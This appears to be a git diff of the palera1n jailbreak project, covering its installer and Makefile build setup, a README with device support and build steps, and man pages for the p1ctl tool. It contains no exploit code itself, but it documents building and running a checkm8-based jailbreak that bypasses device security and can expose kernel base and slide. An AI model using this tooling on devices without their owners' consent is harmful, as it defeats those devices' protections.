+    set(CPACK_NSIS_BRANDING_TEXT "palera1n Setup")
+
+    set(CPACK_NSIS_MODIFY_PATH OFF)
+    set(CPACK_NSIS_ENABLE_UNINSTALL_BEFORE_INSTALL ON)
+
+    set(CPACK_NSIS_MUI_ICON "${CMAKE_SOURCE_DIR}/resources/palera1n.ico")
+    set(CPACK_NSIS_MUI_UNIICON "${CMAKE_SOURCE_DIR}/resources/palera1n.ico")
+
+    set(CPACK_PACKAGE_EXECUTABLES "palera1n" "palera1n")
+
+    set(CPACK_NSIS_CREATE_ICONS_EXTRA
+        "CreateShortCut \\\"\\$DESKTOP\\\\palera1n.lnk\\\" \\\"\\$INSTDIR\\\\bin\\\\palera1n.exe\\\""
+    )
+
+    set(CPACK_NSIS_DELETE_ICONS_EXTRA
+        "Delete \\\"\\$DESKTOP\\\\palera1n.lnk\\\""
+    )
+    set(CPACK_RESOURCE_FILE_LICENSE "${CMAKE_SOURCE_DIR}/LICENSE")
+elseif(APPLE AND WITH_GUI)
+    set(CPACK_GENERATOR "DragNDrop")
+else()
+    set(CPACK_PACKAGING_INSTALL_PREFIX "/")
+    set(CPACK_INCLUDE_TOPLEVEL_DIRECTORY OFF)
+    set(CPACK_GENERATOR "TGZ")
+endif()
+
+include(CPack)
+

Makefile

@@ -1,110 +1,153 @@
-NAME = Dusk
+.PHONY: apple-include payloads palera1n palera1n_xcode palera1n_mingw clean
 
-SRC = $(shell pwd)
-DEP = $(SRC)/dep_root
-STRIP = strip
-CC ?= cc
-CFLAGS += -I$(DEP)/include -I$(SRC)/include -I$(SRC) -D_XOPEN_SOURCE=500
-CFLAGS += -Wall -Wextra -Wno-unused-parameter -DPALERAIN_VERSION=\"2.0.0\"
-CFLAGS += -Wno-unused-variable -I$(SRC)/src -std=c99 -pedantic-errors -D_C99_SOURCE -D_POSIX_C_SOURCE=200112L
-ifeq ($(TARGET_OS),)
-TARGET_OS = $(shell uname -s)
+# TODO: get rid of this makefile, this is too complicated
+
+WITH_GUI ?= 0
+WITH_TUI ?= 0
+WITH_RAMDISK ?= 1
+WITH_BINPACK ?= 1
+WITH_STATIC ?= 0
+WITH_CIDERRAIN ?= 0
+BUILD_TYPE ?= Debug
+
+CMAKE_SYSROOT ?=
+CROSS_HOST_TRIPLE ?=
+JOBS ?=
+
+PLATFORM ?= host
+
+UNAME_S := $(shell uname -s)
+
+BUILD_ARGS :=
+ifneq ($(strip $(JOBS)),)
+BUILD_ARGS += --parallel $(JOBS)
 endif
-ifeq ($(findstring MINGW64,$(TARGET_OS)),MINGW64)
-TARGET_OS = Windows
-CFLAGS += -DWIN
-LIBS = -limobiledevice-1.0 -lirecovery-1.0 -lusbmuxd-2.0 -limobiledevice-glue-1.0 -lplist-2.0 -lssl -lcrypto -lusb-1.0 -lreadline -pthread -lm
-LIBS += -lws2_32 -liphlpapi -lsetupapi -lwinusb
+
+ifeq ($(PLATFORM),ios)
+	PLATFORM := iphoneos
+endif
+TARGET_SYSROOT :=
+MACOSX_SYSROOT := $(shell xcrun --sdk macosx --show-sdk-path)
+CUSTOM_INCLUDE_PATH := apple-include-$(PLATFORM)
+
+ifeq ($(PLATFORM),iphoneos)
+ifneq ($(UNAME_S),Darwin)
+$(error iOS builds require macOS/Xcode)
+endif
+TARGET_SYSROOT := $(shell xcrun --sdk iphoneos --show-sdk-path)
+else ifeq ($(PLATFORM),macos)
+ifneq ($(UNAME_S),Darwin)
+$(error macOS SDK builds require macOS/Xcode)
+endif
+TARGET_SYSROOT := $(shell xcrun --sdk macosx --show-sdk-path)
+endif
+
+CMAKE_COMMON_ARGS := \
+	-DCMAKE_SYSROOT="$(CMAKE_SYSROOT)" \
+	-DCROSS_HOST_TRIPLE="$(CROSS_HOST_TRIPLE)" \
+	-DCMAKE_BUILD_TYPE=$(BUILD_TYPE) \
+	-DWITH_GUI=$(WITH_GUI) \
+	-DWITH_TUI=$(WITH_TUI) \
+	-DWITH_RAMDISK=$(WITH_RAMDISK) \
+	-DWITH_BINPACK=$(WITH_BINPACK) \
+	-DWITH_CIDERRAIN=$(WITH_CIDERRAIN) \
+	-DWITH_STATIC=$(WITH_STATIC)
+
+CMAKE_APPLE_ARGS :=
+
+ifeq ($(PLATFORM),iphoneos)
+
+CMAKE_APPLE_ARGS := \
+	-DCMAKE_SYSTEM_NAME=iOS \
+	-DCMAKE_OSX_SYSROOT="$(TARGET_SYSROOT)" \
+	-DCMAKE_OSX_ARCHITECTURES=arm64 \
+	-DCMAKE_OSX_DEPLOYMENT_TARGET=15.0
+
+endif
+
+ifeq ($(PLATFORM),macos)
+
+CMAKE_APPLE_ARGS := \
+	-DCMAKE_SYSTEM_NAME=Darwin \
+	-DCMAKE_OSX_SYSROOT="$(TARGET_SYSROOT)"
+
+endif
+
+ifeq ($(PLATFORM),iphoneos)
+APPLE_INCLUDE_DEP := apple-include
 else
-LIBS += $(DEP)/lib/libimobiledevice-1.0.a $(DEP)/lib/libirecovery-1.0.a $(DEP)/lib/libusbmuxd-2.0.a
-LIBS += $(DEP)/lib/libimobiledevice-glue-1.0.a $(DEP)/lib/libplist-2.0.a -pthread -lm
-LIBS += $(DEP)/lib/libmbedtls.a $(DEP)/lib/libmbedcrypto.a $(DEP)/lib/libmbedx509.a $(DEP)/lib/libreadline.a
-endif
-ifeq ($(TARGET_OS),Darwin)
-CFLAGS += -Wno-nullability-extension
-ifeq (,$(findstring version-min=, $(CFLAGS)))
-CFLAGS += -mmacosx-version-min=10.8
-endif
-LDFLAGS += -Wl,-dead_strip
-LIBS += -framework CoreFoundation -framework IOKit
-else
-CFLAGS += -fdata-sections -ffunction-sections
-LDFLAGS += -no-pie -Wl,--gc-sections
-ifneq ($(TARGET_OS),Windows)
-LDFLAGS += -static
-endif
+APPLE_INCLUDE_DEP :=
 endif
 
-ifeq ($(TUI),1)
-LIBS += $(DEP)/lib/libnewt.a $(DEP)/lib/libpopt.a $(DEP)/lib/libslang.a
-ifeq ($(TARGET_OS),Linux)
-LIBS += $(DEP)/lib/libgpm.a
-endif
-endif
-ifeq ($(DEV_BUILD),1)
-CFLAGS += -O0 -g -DDEV_BUILD -fno-omit-frame-pointer
-ifeq ($(ASAN),1)
-BUILD_STYLE=ASAN
-CFLAGS += -fsanitize=address,undefined -fsanitize-address-use-after-return=runtime
-else ifeq ($(TSAN),1)
-BUILD_STYLE=TSAN
-CFLAGS += -fsanitize=thread,undefined
-else
-BUILD_STYLE = DEVELOPMENT
-endif
-else
-CFLAGS += -Os -g
-BUILD_STYLE = RELEASE
-endif
-ifneq ($(TARGET_OS),Windows)
-LIBS += -lc
-endif
+apple-include:
+	mkdir -p $(CUSTOM_INCLUDE_PATH)/{bsm,objc,os/internal,sys,firehose,CoreFoundation,FSEvents,IOSurface,IOKit/kext,libkern,kern,arm,{mach/,}machine,CommonCrypto,Security,CoreSymbolication,Kernel/{kern,IOKit,libkern},rpc,rpcsvc,xpc/private,ktrace,mach-o,dispatch}
+	cp -af $(MACOSX_SYSROOT)/usr/include/{arpa,bsm,hfs,net,xpc,netinet,servers,timeconv.h,launch.h} $(CUSTOM_INCLUDE_PATH)
+	cp -af $(MACOSX_SYSROOT)/usr/include/objc/objc-runtime.h $(CUSTOM_INCLUDE_PATH)/objc
+	cp -af $(MACOSX_SYSROOT)/usr/include/libkern/{OSDebug.h,OSKextLib.h,OSReturn.h,OSThermalNotification.h,OSTypes.h,machine} $(CUSTOM_INCLUDE_PATH)/libkern
+	cp -af $(MACOSX_SYSROOT)/usr/include/kern $(CUSTOM_INCLUDE_PATH)
+	cp -af $(MACOSX_SYSROOT)/usr/include/sys/{tty*,ptrace,kern*,random,reboot,user,vnode,disk,vmmeter,conf}.h $(CUSTOM_INCLUDE_PATH)/sys
+	cp -af $(MACOSX_SYSROOT)/System/Library/Frameworks/Kernel.framework/Versions/Current/Headers/sys/disklabel.h $(CUSTOM_INCLUDE_PATH)/sys
+	cp -af $(MACOSX_SYSROOT)/System/Library/Frameworks/IOKit.framework/Headers/{AppleConvergedIPCKeys.h,IOBSD.h,IOCFBundle.h,IOCFPlugIn.h,IOCFURLAccess.h,IOKitServer.h,IORPC.h,IOSharedLock.h,IOUserServer.h,audio,avc,firewire,graphics,hid,hidsystem,i2c,iokitmig.h,kext,ndrvsupport,network,ps,pwr_mgt,sbp2,scsi,serial,storage,stream,usb,video} $(CUSTOM_INCLUDE_PATH)/IOKit
+	cp -af $(MACOSX_SYSROOT)/System/Library/Frameworks/Security.framework/Headers/{mds_schema,oidsalg,SecKeychainSearch,certextensions,Authorization,eisl,SecDigestTransform,SecKeychainItem,oidscrl,cssmcspi,CSCommon,cssmaci,SecCode,CMSDecoder,oidscert,SecRequirement,AuthSession,SecReadTransform,oids,cssmconfig,cssmkrapi,SecPolicySearch,SecAccess,cssmtpi,SecACL,SecEncryptTransform,cssmapi,cssmcli,mds,x509defs,oidsbase,SecSignVerifyTransform,cssmspi,cssmkrspi,SecTask,cssmdli,SecAsn1Coder,cssm,SecTrustedApplication,SecCodeHost,SecCustomTransform,oidsattr,SecIdentitySearch,cssmtype,SecAsn1Types,emmtype,SecTransform,SecTrustSettings,SecStaticCode,emmspi,SecTransformReadTransform,SecKeychain,SecDecodeTransform,CodeSigning,AuthorizationPlugin,cssmerr,AuthorizationTags,CMSEncoder,SecEncodeTransform,SecureDownload,SecAsn1Templates,AuthorizationDB,SecCertificateOIDs,cssmapple}.h $(CUSTOM_INCLUDE_PATH)/Security
+# 	cp -af $(MACOSX_SYSROOT)/usr/include/{ar,bootstrap,launch,libc,libcharset,localcharset,nlist,NSSystemDirectories,tzfile,vproc}.h $(CUSTOM_INCLUDE_PATH)
+	cp -af $(MACOSX_SYSROOT)/usr/include/mach/{*.defs,{mach_vm,shared_region}.h} $(CUSTOM_INCLUDE_PATH)/mach
+	cp -af $(MACOSX_SYSROOT)/usr/include/mach/machine/*.defs $(CUSTOM_INCLUDE_PATH)/mach/machine
+	cp -af $(MACOSX_SYSROOT)/usr/include/rpc/pmap_clnt.h $(CUSTOM_INCLUDE_PATH)/rpc
+	cp -af $(MACOSX_SYSROOT)/usr/include/rpcsvc/yp{_prot,clnt}.h $(CUSTOM_INCLUDE_PATH)/rpcsvc
+	cp -af $(TARGET_SYSROOT)/usr/include/mach/machine/thread_state.h $(CUSTOM_INCLUDE_PATH)/mach/machine
+	cp -af $(TARGET_SYSROOT)/usr/include/mach/arm $(CUSTOM_INCLUDE_PATH)/mach
+	cp -af $(MACOSX_SYSROOT)/System/Library/Frameworks/IOKit.framework/Headers/* $(CUSTOM_INCLUDE_PATH)/IOKit
+# 	gsed -E s/'__IOS_PROHIBITED|__TVOS_PROHIBITED|__WATCHOS_PROHIBITED'//g < $(TARGET_SYSROOT)/usr/include/stdlib.h > $(CUSTOM_INCLUDE_PATH)/stdlib.h
+	gsed -E s/'__IOS_PROHIBITED|__TVOS_PROHIBITED|__WATCHOS_PROHIBITED'//g < $(TARGET_SYSROOT)/usr/include/time.h > $(CUSTOM_INCLUDE_PATH)/time.h
+	gsed -E s/'__IOS_PROHIBITED|__TVOS_PROHIBITED|__WATCHOS_PROHIBITED'//g < $(TARGET_SYSROOT)/usr/include/unistd.h > $(CUSTOM_INCLUDE_PATH)/unistd.h
+	gsed -E s/'__IOS_PROHIBITED|__TVOS_PROHIBITED|__WATCHOS_PROHIBITED'//g < $(TARGET_SYSROOT)/usr/include/mach/task.h > $(CUSTOM_INCLUDE_PATH)/mach/task.h
+	gsed -E s/'__IOS_PROHIBITED|__TVOS_PROHIBITED|__WATCHOS_PROHIBITED'//g < $(TARGET_SYSROOT)/usr/include/mach/mach_host.h > $(CUSTOM_INCLUDE_PATH)/mach/mach_host.h
+	gsed -E s/'__IOS_PROHIBITED|__TVOS_PROHIBITED|__WATCHOS_PROHIBITED'//g < $(TARGET_SYSROOT)/usr/include/ucontext.h > $(CUSTOM_INCLUDE_PATH)/ucontext.h
+#	gsed -E s/'__IOS_PROHIBITED|__TVOS_PROHIBITED|__WATCHOS_PROHIBITED'//g < $(TARGET_SYSROOT)/usr/include/signal.h > $(CUSTOM_INCLUDE_PATH)/signal.h
+	gsed -E s/'__IOS_PROHIBITED|__TVOS_PROHIBITED|__WATCHOS_PROHIBITED'//g < $(TARGET_SYSROOT)/usr/include/spawn.h > $(CUSTOM_INCLUDE_PATH)/spawn.h
+	gsed -E /'__API_UNAVAILABLE'/d < $(TARGET_SYSROOT)/usr/include/pthread.h > $(CUSTOM_INCLUDE_PATH)/pthread.h
+	gsed -i -E s/'__API_UNAVAILABLE\(.*\)'// $(CUSTOM_INCLUDE_PATH)/IOKit/IOKitLib.h
+	gsed -i -E s/'__API_UNAVAILABLE\(.*\)'// $(CUSTOM_INCLUDE_PATH)/spawn.h
+	gsed -i -E s/'API_UNAVAILABLE\(.*\)'// $(CUSTOM_INCLUDE_PATH)/xpc/*.h
+	gsed -i 's|// __XPC_INDIRECT__|\n#include "$(TARGET_SYSROOT)/usr/include/bsm/audit.h"\n|' $(CUSTOM_INCLUDE_PATH)/xpc/connection.h
 
-ifneq ($(BAKERAIN_DEVELOPE_R),)
-CFLAGS += -DBAKERAIN_DEVELOPE_R="\"$(BAKERAIN_DEVELOPE_R)\""
-endif
+payloads:
+	mkdir -p src/gen/embedded
 
-BUILD_DATE := $(shell LANG=C date)
-BUILD_NUMBER := $(shell git rev-list --count HEAD)
-BUILD_TAG := $(shell git describe --dirty --tags --abbrev=7)
-BUILD_WHOAMI := $(shell whoami)
-BUILD_BRANCH := $(shell git rev-parse --abbrev-ref HEAD)
-BUILD_COMMIT := $(shell git rev-parse HEAD)
+	xz --format=lzma -vfc6ekT 0 embedded/ramdisk.dmg > embedded/ramdisk-compressed.dmg.lzma
+	xz --format=lzma -vfc6ekT 0 embedded/checkra1n-kpf-pongo > embedded/checkra1n-kpf-pongo-compressed.lzma
 
-CFLAGS += -DBUILD_STYLE="\"$(BUILD_STYLE)\"" -DBUILD_DATE="\"$(BUILD_DATE)\""
-CFLAGS += -DBUILD_WHOAMI="\"$(BUILD_WHOAMI)\"" -DBUILD_TAG="\"$(BUILD_TAG)\""
-CFLAGS += -DBUILD_NUMBER="\"$(BUILD_NUMBER)\"" -DBUILD_BRANCH="\"$(BUILD_BRANCH)\""
-CFLAGS += -DBUILD_COMMIT="\"$(BUILD_COMMIT)\""
-
-export SRC DEP CC CFLAGS LDFLAGS LIBS TARGET_OS DEV_BUILD BUILD_DATE BUILD_TAG BUILD_WHOAMI BUILD_STYLE BUILD_NUMBER BUILD_BRANCH
-
-all: palera1n
-
-xxd-payloads: download-deps
-	mkdir -p include/payloads
-	for file in payloads/*; do \
-		xxd -i $$file > include/$$file.h; \
+	@for file in embedded/*; do \
+		name=$$(basename "$$file"); \
+		name=$${name%.*}; \
+		echo " XXD    $$file"; \
+		echo "#pragma once" > "src/gen/embedded/$$name.h"; \
+		xxd -i "$$file" \
+		| sed 's/unsigned char/static const unsigned char/g' \
+		| sed 's/unsigned int/static const size_t/g' \
+		>> "src/gen/embedded/$$name.h"; \
 	done
 
-palera1n: download-deps xxd-payloads
-	$(MAKE) -C src
+palera1n: payloads
+	@cmake -S . -B build \
+		$(CMAKE_COMMON_ARGS) \
+		$(CMAKE_APPLE_ARGS) && \
+	cmake --build build $(BUILD_ARGS)
+
+palera1n_xcode: $(APPLE_INCLUDE_DEP) payloads
+	@cmake -S . -B build \
+		-G Xcode \
+		$(CMAKE_COMMON_ARGS) \
+		$(CMAKE_APPLE_ARGS)
+
+palera1n_mingw: payloads
+	@cmake -S . -B build \
+		-G "MinGW Makefiles" \
+		$(CMAKE_COMMON_ARGS) && \
+	cmake --build build $(BUILD_ARGS)
 
 clean:
-	$(MAKE) -C src clean
-	$(MAKE) -C docs clean
-
-download-deps: Pongo.bin
-	$(MAKE) -C src checkra1n-kpf-pongo ramdisk.dmg binpack.dmg
-
-docs:
-	$(MAKE) -C docs
-
-Pongo.bin:
-	rm -f payloads/Pongo.bin
-	curl -Lo payloads/Pongo.bin https://cdn.nickchan.lol/palera1n/artifacts/kpf/Pongo.bin
-
-distclean: clean
-	rm -rf palera1n-* palera1n*.dSYM src/checkra1n-* src/checkra1n-kpf-pongo src/ramdisk.dmg src/binpack.dmg payloads/Pongo.bin include/payloads
-
-.PHONY: all xxd-payloads palera1n clean docs distclean
-
+	@rm -rf build src/gen
+	@rm -rf apple-include-*
+	@if [ -d 1stparty/libciderra1n ]; then $(MAKE) -C 1stparty/libciderra1n clean; fi
+	@$(MAKE) -C 1stparty/libopenra1n clean

README.md

@@ -1,54 +1,191 @@
-<center>
-  <a href="#"><img src="https://cdn.discordapp.com/attachments/1103485261196832779/1126450758523572285/pxd.png" alt="Logo"></a>
-</center>
+# palera1n
+[![GitHub Release](https://img.shields.io/github/v/release/palera1n/palera1n?include_prereleases)](https://github.com/palera1n/palera1n/releases)
+[![GitHub Downloads (all assets, all releases)](https://img.shields.io/github/downloads/palera1n/palera1n/total)](https://github.com/palera1n/palera1n/releases)
+[![GitHub License](https://img.shields.io/github/license/palera1n/palera1n?color=%23C96FAD)](https://github.com/palera1n/palera1n/blob/main/LICENSE)
 
-<p align="center">
-    <a href="https://cdn.nickchan.lol/palera1n/c-rewrite/releases/v2.0.0-beta.7/palera1n.1.html">Documentation</a> •
-	<a href="https://ios.cfw.guide/installing-palera1n">Installation Guide</a> •
-	<a href="#requirements">Requirements</a> •
-	<a href="https://discord.gg/palera1n">Support Discord</a> •
-	<a href="https://palera.in">Website</a>
-</p>
+Jailbreak for A8 through A11, T2 devices, on iOS/iPadOS/tvOS 15.0, bridgeOS 5.0 and higher.
 
-## Information
-This is the official repo for the palera1n project, a jailbreak for arm64 devices on iOS 15.0+
+![Demo of app](demo.png)
 
-- Loader application used in palera1n can be found [here](https://github.com/palera1n/loader).
-- palera1ns jbinit can be found [here](https://github.com/palera1n/jbinit).
-- palera1ns custom PongoOS can be found [here](https://github.com/palera1n/pongoos).
+## Device Support
 
-Website & credits can be found at https://palera.in (scroll down for credits).
+<!--- Mobile --->
 
-## Warnings
-We are **NOT** responsible for any data loss, or the result of a device being bricked. The user of this program accepts responsibility should something happen to their device. While nothing should happen, jailbreaking has risks in itself.
-- If your device is stuck in recovery, please run futurerestore `--exit-recovery`, or use `irecovery -n`.
+| iPhone(s)                 | iPad(s)                        		| iPod(s)   					| Apple TV(s) 					|
+|-							|-										|-								|-								|
+| iPhone 6s                 | iPad mini 4							| iPod Touch (7th generation)	| Apple TV HD                 	|
+| iPhone 6s Plus            | iPad (5th generation)					|								| Apple TV 4K (1st generation)	|
+| iPhone SE (2016)          | iPad (6th generation)					|								|								|
+| iPhone 7                  | iPad (7th generation)					|								|								|
+| iPhone 7 Plus             | iPad Pro (9.7")						|								|								|
+| iPhone 8                  | iPad Pro (12.9") (1st generation)		|								|								|
+| iPhone 8 Plus             | iPad Pro (10.5")						|								|								|
+| iPhone X                  | iPad Pro (12.9") (2nd generation)		|								|								|
+|                           | iPad Air 2                            |								|								|
 
-- If you're unable to get out of recovery via these methods please restore with iTunes or Finder.
+> Note that on `A11` (iPhone X, 8, 8 Plus), **you must disable your passcode while in the jailbroken state** (on iOS 16, you need to **reset your device** before proceeding with palera1n).
 
-- palera1n will never work in VirtualBox, VMware or any virtual machine that doesn't support PCI passthrough.
+<!--- T2 --->
+<details>
+<summary>Apple T2 Device Support (click to expand)</summary>
 
-## Requirements
-- A checkm8 vulnerable iOS device on iOS 15+ (`A8` - `A11`)
-	- On `A11`, **you must disable your passcode while in the jailbroken state** (on iOS 16, you need to **reset your device** before proceeding with palera1n).
+| Apple T2              	|
+|-							|
+| Apple T2 iMac20,1         |
+| Apple T2 iMac20,2         |
+| 			              	|
+| Apple T2 MacBookAir8,1    |
+| Apple T2 MacBookAir8,2    |
+| Apple T2 MacBookAir9,1    |
+| 			              	|
+| Apple T2 MacBookPro15,1   |
+| Apple T2 MacBookPro15,2   |
+| Apple T2 MacBookPro15,3   |
+| Apple T2 MacBookPro15,4   |
+| Apple T2 MacBookPro16,1   |
+| Apple T2 MacBookPro16,2   |
+| Apple T2 MacBookPro16,3   |
+| Apple T2 MacBookPro16,4   |
+| 			              	|
+| Apple T2 iMacPro1,1       |
+| Apple T2 Macmini8,1       |
+| Apple T2 MacPro7,1        |
+|			              	|
+| iBridge2,11 (Unknown Mac) |
+| iBridge2,13 (Unknown Mac) |
 
-- **USB-A** cables are recommended to use, USB-C may have issues with palera1n and getting into DFU mode.<details><summary>Technical explanation</summary>The BootROM will only enter DFU if it detects USB voltage, which boils down to checking whether a certain pin is asserted from the Tristar chip. The Tristar does this based on the cable's accessory ID, and apparently USB-A and USB-C cables have different accessory IDs, and the one of the USB-C cables makes the Tristar not assert the USB voltage pin.</details>
+</details>
 
-- A Linux or macOS computer
-	- AMD CPUs (not AMD Mobile) have an issue [with (likely) their USB controllers] that causes them to have a very low success rate with checkm8. It is not recommended that you use them with palera1n.
-		- If your device does not successfully jailbreak, try a computer with an Intel or other CPU
-    
-- Apple Silicon Macs with USB-C
-	- USB-C port on Apple Silicon Macs may require manual unplugging and replugging of the lightning cable after checkm8 exploit.
-	- This problem may be solved by connecting via USB hub, though extensions can vary.
+## Computer Requirements
 
-## Need help?
+1. **USB-A** cables are recommended to use, USB-C to may have issues with palera1n and getting into DFU mode.
+> Due to USB-C cables having different accessory IDs, your device may not be able to be recognized when using USB-C due to not being able to assert to its USB voltage pin.
 
-Make sure you provide full details on your device, such as:
-- iDevice
-- iOS Version
-- Passcode enabled?
-- Logs, if panicked then send latest `panic-full` log from your iDevice.
+2. **Linux or macOS computer**
 
-Using `-VvL` would help with debugging.
+> USB-C port on Apple Silicon Macs *may* require manual unplugging and replugging of the lightning cable after checkm8 exploit. This problem may be solved by connecting via USB hub, though extensions can vary.
 
-Join the [Support Discord](https://dsc.gg/palera1n), and create a thread in [#support](https://discord.com/channels/1028398973452570725/1028730487700738130) or ask in [#general](https://discord.com/channels/1028398973452570725/1028398976640229380).
+## Installing
+
+Visit https://palera.in
+
+## Building
+
+Building is going to be a bit convoluted for each platform, each having their own unique specifications, but the best reference for building should be looking at how [GitHub actions](./.github/workflows/build.yml) does it.
+
+```sh
+# Supported params:
+#  GUI support                              (0 default):
+#   WITH_GUI=1
+#  TUI support                              (0 default):
+#   WITH_TUI=1
+#  Default ramdisk                          (1 default):
+#   WITH_RAMDISK=1
+#  Default overlay                          (1 default):
+#   WITH_BINPACK=1
+#  Compile statically                       (0 default):
+#   WITH_STATIC=0
+#  Compile using libciderra1n as backend    (0 default):
+#   WITH_CIDERRAIN=0
+#  Debug or release build                   ("Debug" default):
+#   BUILD_TYPE="Release"
+```
+
+When building, many precompiled artifacts are embedded inside of the program. Such as, [PongoOS](https://github.com/palera1n/pongoos), [jbinit](https://github.com/palera1n/jbinit), and the [Loader](https://github.com/palera1n/loader).
+
+Make sure these files are present.\
+*NOTE: [PongoOS](https://github.com/palera1n/pongoos) BIN and KPF is absolutely required when building.*
+```sh
+embedded/Pongo.bin
+embedded/checkra1n-kpf-pongo
+embedded/binpack.dmg # not required with WITH_BINPACK=0
+embedded/ramdisk.dmg # not required with WITH_RAMDISK=0
+```
+
+
+### macOS
+
+- [Xcode](https://developer.apple.com/xcode/) and [Command Line Tools](https://developer.apple.com/download/all/)
+- [Rust](https://rustup.rs/)
+```sh
+brew install cmake \
+    autoconf \
+    automake \
+    libtool \
+    pkg-config
+```
+
+### Debian / Ubuntu Linux
+
+- [Rust](https://rustup.rs/)
+
+```sh
+sudo apt install -y \
+    build-essential \
+    cmake \
+    autoconf \
+    automake \
+    libtool \
+    pkg-config
+```
+
+### Windows
+
+- [MSYS2](https://www.msys2.org/)
+
+```sh
+pacman -S \
+    git \
+    mingw-w64-x86_64-toolchain \
+    mingw-w64-x86_64-cmake \
+    mingw-w64-x86_64-libusb \
+    mingw-w64-x86_64-rust \
+    libtool \
+    openssl \
+    openssl-devel \
+    python-devel \
+    autoconf \
+    automake \
+    zip \
+    vim \
+    make \
+    patch
+```
+
+### Compiling
+
+```sh
+# macOS / Linux
+make palera1n
+# iOS
+make palera1n_xcode PLATFORM=iphoneos WITH_STATIC=1
+# MinGW environment
+make palera1n_mingw
+```
+
+## Acknowledgements
+
+- [mineek](https://github.com/mineek) - Checkm8 exploit re-implementation (libopenra1n), based off [gaster](https://github.com/0x7ff/gaster)
+- [kok3shidoll](https://github.com/kok3shidoll) - Checkm8 (1337) exploit re-implementation (libciderra1n), PongoOS patches, ROP chain generator
+- [checkra1n](https://checkra.in) - Checkra1n, PongoOS, payloads, DFU helper & device assets
+- [staturnz](https://github.com/staturnz) - Liteusb, Loader contributions
+- [libusb](https://github.com/libimobiledevice/libimobiledevice) - Library for access to usb-devices, used by libopenra1n
+- [idevice](https://github.com/jkcoxson/idevice) - Library for access to usbmuxd devices
+- [plooshi](https://github.com/plooshi) - Plooshfinder, plooshinit, various legacy patches
+- [Procursus](https://github.com/ProcursusTeam/Procursus) - Bootstrap & binpack
+- [tealbathingsuit](https://github.com/tealbathingsuit) - Tweak injection ([ElleKit](https://github.com/tealbathingsuit/ellekit))
+- [sbingner](https://github.com/sbingner) - Substitute
+- [elihwyma](https://github.com/elihwyma) - Package manager ([Sileo](https://github.com/Sileo/Sileo)) & [Pogo](https://github.com/elihwyma/Pogo)
+- [kirb](https://github.com/kirb) - Package manager ([Zebra](https://github.com/zbrateam/Zebra))
+- [lrdsnow](https://github.com/lrdsnow) - TvOS package manager ([PurePKG](https://github.com/Lrdsnow/purepkg)).
+- [opa334](https://github.com/opa334) - Cfprefs hook
+- [itsnebulalol](https://github.com/itsnebulalol) - Palera1n v1
+- [llsc12](https://github.com/llsc12) - Palera1n loader v1
+- [tihmstar](https://github.com/tihmstar) - Jbinit v1
+- [nekohaxx](https://github.com/nekohaxx) - Contributions
+
+## License
+
+Project is licensed under the MIT license. You can see the full details of the license [here](https://github.com/khcrysalis/PlumeImpactor/blob/main/LICENSE). Some components may be licensed under different licenses, see their respective directories for details.
+
+Many things included in this program are made and developed by the Checkra1n team. Please do NOT contact the Checkra1n team for Palera1n, they are not responsible for this program. The original Checkra1n payloads are from [here](https://checkra.in/1337).

docs/Makefile

@@ -1,9 +1,9 @@
-PAGES = palera1n.1.html
+PAGES = palera1n.1.html p1ctl.8.html
 
 all: $(PAGES)
 
-%.1.html: %.1
-	mandoc -T html -O style=mandoc.css palera1n.1 > palera1n.1.html
+%.html: %
+	mandoc -T html -O style=mandoc.css $< > $@
 
 clean:
 	rm -f $(PAGES)

docs/p1ctl.8

@@ -0,0 +1,109 @@
+.\"-
+.\" Copyright (c.Xc 2024 Nick Chan
+.\" SPDX-License-Identifier: MIT
+.\"
+.Dd "6 April 2024"
+.Dt p1ctl 8
+.Sh NAME
+.Nm p1ctl
+.Nd command-line access to palera1n loader
+.Sh SYNOPSIS
+.Nm
+.Ar subcommand
+.Op subcommand options
+.Op subcommand arguments
+.Sh DESCRIPTION
+.Nm
+provide a command-line interface to the graphical palera1n loader.
+.Pp
+.Nm
+interfaces with the palera1n daemon as well as palera1n's launchd hook.
+
+.Sh SUBCOMMANDS
+.Bl -tag -width -indent
+.It Xo Ar bootstrap Op Fl s
+.Op Fl S Ar password
+.Ar bootstrap-file
+.Xc
+Deploy a bootstrap from a zstd compressed tarball. With no additional options specified,
+a new password for the mobile user will be prompted for. The bootstrap you are deploying
+must match the jailbreak type (rootful or rootless) you are using.
+.Bl -tag -width -indent
+.It Fl s
+Do not prompt for the password and do not set the mobile password.
+.It Fl S Ar password
+Do not prompt and set the mobile password to the password specified.
+.El
+.Pp
+.Em NOTE:
+Unlike the graphical palera1n loader, this command only deploys the bootstrap itself,
+it does not add additional repositories nor install additional packages.
+.It Xo Ar exitsafe
+.Xc
+Exit
+.Nm palera1n
+safe mode, and trigger a userspace reboot. This command will succeed
+even if the device is not currently in safe mode. In this case, a userspace reboot
+is still triggered.
+.Pp
+.Em NOTE:
+Many tweak injection packages also provide their own safe mode, p1ctl does not
+recognize and cannot control those safe modes.
+.It Xo Ar help Op Ar subcommand
+.Xc
+Prints help text. If
+.Ar subcommand
+is specified, print help about the subcommand.
+.It Xo Ar kbase
+.Xc
+Print a hexadecimal representation of the kernel base.
+.It Xo Ar kslide
+.Xc
+Print a hexadecimal representation of the kernel slide.
+.It Xo Ar palera1n_flags
+.Xc
+Print a representation of the palera1n flags, which corresponds to the options passed
+to
+.Xr palera1n 1
+as well as hints to the palera1n userspace stack set by
+.Nm PongoOS
+\[char46]
+By default, a hexadecimal representation of the flags will be printed.
+.Bl -tag -width -indent
+.It Fl d
+Read the flags from the ramdisk block device instead of getting them by interfacing with palera1n daemon.
+.It Fl s
+Print a string representation of the flags. Each line will contain one flag, and the strings always start
+with palerain_option_, and unknown flags are represented as palerain_option_undefined.
+.El
+.It Xo Ar reboot-userspace
+.Xc
+Unmount /Developer if mounted and then reboot the userspace.
+This command exists because the /Developer mount will be broken
+after a plain userspace reboot, which breaks debugging in Xcode.
+.Nm palera1n
+also hooks the
+.Xr reboot3 3
+call so that rebooting userspace using
+.Xr launchctl 1
+does not break the /Developer mount.
+.It Xo Ar reload
+.Xc
+Causes the
+.Nm palera1n
+launchd hook to re-probe the environment and update its internal state.
+This will affect the internal environmental variables passed onto new processes,
+and is typically used after bootstrapping or reverting installs.
+.It Xo Ar revert-install
+.Xc
+Remove jailbreak files from the device. This command is not supported on rootful with fakefs. On rootful with realfs, the device will reboot after issuing this command.
+.Pp
+To remove jailbreak files on rootful with fakefs, use
+.Xr palera1n 1
+on your computer with the
+.Fl -force-revert
+.Fl f
+options instead.
+.El
+.Sh SEE ALSO
+.Xr palera1n 1

docs/palera1n.1

@@ -1,28 +1,44 @@
 .\"-
-.\" Copyright (c) 2023 Nick Chan
